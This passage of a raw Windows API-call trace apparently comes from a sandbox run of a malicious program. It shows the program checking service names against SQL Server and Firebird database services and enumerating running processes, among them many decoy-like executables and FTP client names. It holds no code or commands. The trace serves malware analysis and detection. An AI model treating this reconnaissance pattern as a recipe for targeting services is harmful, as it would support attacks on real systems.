(lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.660] lstrlenW (lpString="SSDPSRV") returned 7 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0063.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0063.660] lstrlenW (lpString="StateRepository") returned 15 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0063.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0063.661] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0063.661] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0063.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0063.661] lstrlenW (lpString="SysMain") returned 7 [0063.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.661] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4eeb48 | out: hHeap=0x490000) returned 1 [0063.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0063.786] Process32FirstW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.787] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.787] lstrlenW (lpString="System") returned 6 [0063.787] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.788] lstrlenW (lpString="smss.exe") returned 8 [0063.788] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.788] lstrlenW (lpString="csrss.exe") returned 9 [0063.788] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.789] lstrlenW (lpString="wininit.exe") returned 11 [0063.789] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.789] lstrlenW (lpString="csrss.exe") returned 9 [0063.789] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.790] lstrlenW (lpString="winlogon.exe") returned 12 [0063.790] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.790] lstrlenW (lpString="services.exe") returned 12 [0063.790] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.791] lstrlenW (lpString="lsass.exe") returned 9 [0063.791] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.791] lstrlenW (lpString="svchost.exe") returned 11 [0063.791] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0063.792] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0063.792] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0063.792] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0063.792] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.793] lstrlenW (lpString="svchost.exe") returned 11 [0063.793] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.793] lstrlenW (lpString="dwm.exe") returned 7 [0063.793] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.794] lstrlenW (lpString="svchost.exe") returned 11 [0063.794] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.794] lstrlenW (lpString="svchost.exe") returned 11 [0063.794] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.795] lstrlenW (lpString="svchost.exe") returned 11 [0063.795] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.796] lstrlenW (lpString="svchost.exe") returned 11 [0063.796] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.796] lstrlenW (lpString="svchost.exe") returned 11 [0063.796] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.797] lstrlenW (lpString="svchost.exe") returned 11 [0063.797] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.797] lstrlenW (lpString="svchost.exe") returned 11 [0063.797] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.798] lstrlenW (lpString="svchost.exe") returned 11 [0063.798] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.798] lstrlenW (lpString="svchost.exe") returned 11 [0063.798] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.799] lstrlenW (lpString="svchost.exe") returned 11 [0063.799] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.799] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.799] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.802] lstrlenW (lpString="svchost.exe") returned 11 [0063.802] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.802] lstrlenW (lpString="audiodg.exe") returned 11 [0063.802] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0063.803] lstrlenW (lpString="sihost.exe") returned 10 [0063.803] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.803] lstrlenW (lpString="svchost.exe") returned 11 [0063.803] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0063.804] lstrlenW (lpString="taskhostw.exe") returned 13 [0063.804] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.804] lstrlenW (lpString="explorer.exe") returned 12 [0063.804] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0063.805] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0063.805] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0063.806] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0063.806] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0063.806] lstrlenW (lpString="Memory Compression") returned 18 [0063.806] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0063.807] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0063.807] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0063.807] lstrlenW (lpString="SearchUI.exe") returned 12 [0063.807] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0063.808] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0063.808] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.808] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.808] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0063.809] lstrlenW (lpString="furholdtopics.exe") returned 17 [0063.809] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0063.809] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0063.809] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0063.810] lstrlenW (lpString="until_commit.exe") returned 16 [0063.810] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0063.810] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0063.810] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0063.811] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0063.811] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0063.811] lstrlenW (lpString="lexmark.exe") returned 11 [0063.811] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0063.812] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0063.812] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0063.812] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0063.812] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0063.813] lstrlenW (lpString="delete disable changing.exe") returned 27 [0063.813] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0063.813] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0063.813] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0063.814] lstrlenW (lpString="underwear.exe") returned 13 [0063.814] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0063.814] lstrlenW (lpString="dear-hearings.exe") returned 17 [0063.815] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.815] lstrlenW (lpString="dllhost.exe") returned 11 [0063.815] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0063.816] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0063.816] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0063.816] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0063.816] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0063.817] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0063.817] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0063.817] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0063.817] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0063.818] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0063.818] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0063.818] lstrlenW (lpString="towers world.exe") returned 16 [0063.818] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0063.819] lstrlenW (lpString="coaching indian.exe") returned 19 [0063.819] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0063.820] lstrlenW (lpString="goal assumed.exe") returned 16 [0063.820] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0063.820] lstrlenW (lpString="3dftp.exe") returned 9 [0063.820] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0064.005] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0064.005] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0064.006] lstrlenW (lpString="alftp.exe") returned 9 [0064.006] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0064.008] lstrlenW (lpString="barca.exe") returned 9 [0064.008] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0064.009] lstrlenW (lpString="bitkinex.exe") returned 12 [0064.009] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0064.010] lstrlenW (lpString="coreftp.exe") returned 11 [0064.010] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, 